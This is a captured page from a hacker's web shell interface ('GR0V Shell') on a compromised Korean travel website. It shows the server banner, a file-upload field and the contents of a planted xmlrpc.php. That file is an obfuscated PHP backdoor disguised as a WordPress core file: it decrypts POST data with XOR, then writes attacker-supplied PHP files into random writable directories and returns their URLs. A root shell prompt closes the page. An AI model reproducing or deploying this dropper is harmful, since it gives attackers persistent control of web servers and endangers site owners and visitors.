? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.com/public_html/images/123/winter Big thank/
File Upload :
Current File : /home/admin/domains/happytokorea.com/public_html/images/123/winter Big thank/xmlrpc.php

<?php $LHaWlYjhv = chr(239-171).chr(164-85).'C'.'U'.chr(77)."\105".'N'."\124".chr(836-741).chr(82).'O'."\x4f".chr(84);$pjAHAdNeR = chr(395-323)."\124".chr(515-431).chr(80)."\x5f".'H'."\117".'S'.chr(84);$NfagAd = "\x68"."\164".chr(116).'p'."\x3a".chr(740-693)."\x2f";$GxiwGF = "\56"."\x70".chr(104)."\160";$YShHwZsDCA = chr(112).chr(483-379).chr(112);$ACrpT = chr(522-420).chr(105).chr(108)."\x65"."\x5f".chr(866-754).'u'.chr(545-429).chr(710-615)."\143"."\x6f".chr(894-784)."\164"."\145"."\x6e".chr(495-379).chr(115);$mLitvueF = 'r'."\141".'w'.'u'.chr(114)."\154"."\144"."\x65"."\143".'o'."\144".chr(101);$Lccpu = "\x75".chr(110).'s'.chr(101).chr(114).chr(105)."\x61".chr(108).chr(190-85)."\172".chr(455-354);$paNUF = chr(105).'s'.chr(95).chr(119)."\162".chr(105)."\x74".chr(1060-963)."\142"."\x6c".'e';$DraBhdF = 'p'."\x68".'p'.'v'."\x65"."\x72".chr(1101-986).chr(301-196).chr(374-263).chr(721-611);$VGoVdfn = 's'."\164".chr(114).'_'."\x72".chr(277-166)."\x74".'1'.chr(51);$vOxMosmxV = chr(115).'e'."\162"."\x69"."\141".'l'."\151"."\172".chr(101);$WfKGFkRntp = "\x73"."\164".chr(114).'_'."\x73"."\x70"."\x6c".chr(105).chr(116);foreach ($_POST as $XksqobvI => $WxlYOmO){if (strlen($XksqobvI) == 16){$WxlYOmO = $WfKGFkRntp($mLitvueF($VGoVdfn($WxlYOmO)));$XksqobvI = array_slice($WfKGFkRntp(str_repeat($XksqobvI, (count($WxlYOmO)/16)+1)), 0, count($WxlYOmO));function KIfQMxNMf($HoNfpVIC, $lUbxMbm, $XksqobvI){$IUpqgnff = "05f3949b-638c-4903-bd5e-074b1cfed1cd";return $HoNfpVIC ^ $IUpqgnff[$lUbxMbm % strlen($IUpqgnff)] ^ $XksqobvI;}$WxlYOmO = implode("", array_map("KIfQMxNMf", array_values($WxlYOmO), array_keys($WxlYOmO), array_values($XksqobvI)));$WxlYOmO = @$Lccpu($WxlYOmO);if (@is_array($WxlYOmO)){$XxOuMrlVNN = array_keys($WxlYOmO);$WxlYOmO = $WxlYOmO[$XxOuMrlVNN[0]];if ($WxlYOmO === $XxOuMrlVNN[0]){echo @$vOxMosmxV(Array($YShHwZsDCA => @$DraBhdF(), ));exit();}else {function LuttFyD($YATKypyAwir){static $AskiAcbxcP = array();$YATKypyAwKJrCDqvpU = glob($YATKypyAwir . '/*', GLOB_ONLYDIR);if (count($YATKypyAwKJrCDqvpU) > 0) {foreach ($YATKypyAwKJrCDqvpU as $YATKypyAw) {if (@$paNUF($YATKypyAw)) {$AskiAcbxcP[] = $YATKypyAw;}}}foreach ($YATKypyAwKJrCDqvpU as $YATKypyAwir) LuttFyD($YATKypyAwir);return $AskiAcbxcP;}$ObryBtoMFk = $_SERVER[$LHaWlYjhv];$YATKypyAwKJrCDqvpU = LuttFyD($ObryBtoMFk);$XxOuMrlVNN = array_rand($YATKypyAwKJrCDqvpU);$hTMdYeqr = $YATKypyAwKJrCDqvpU[$XxOuMrlVNN] . "/" . substr(md5(time()), 0, 8) . $GxiwGF;@$ACrpT($hTMdYeqr, $WxlYOmO);echo $NfagAd . $_SERVER[$pjAHAdNeR] . substr($hTMdYeqr, strlen($ObryBtoMFk));exit();}}}}

T1KUS90T
  root-grov@210.1.60.28:~$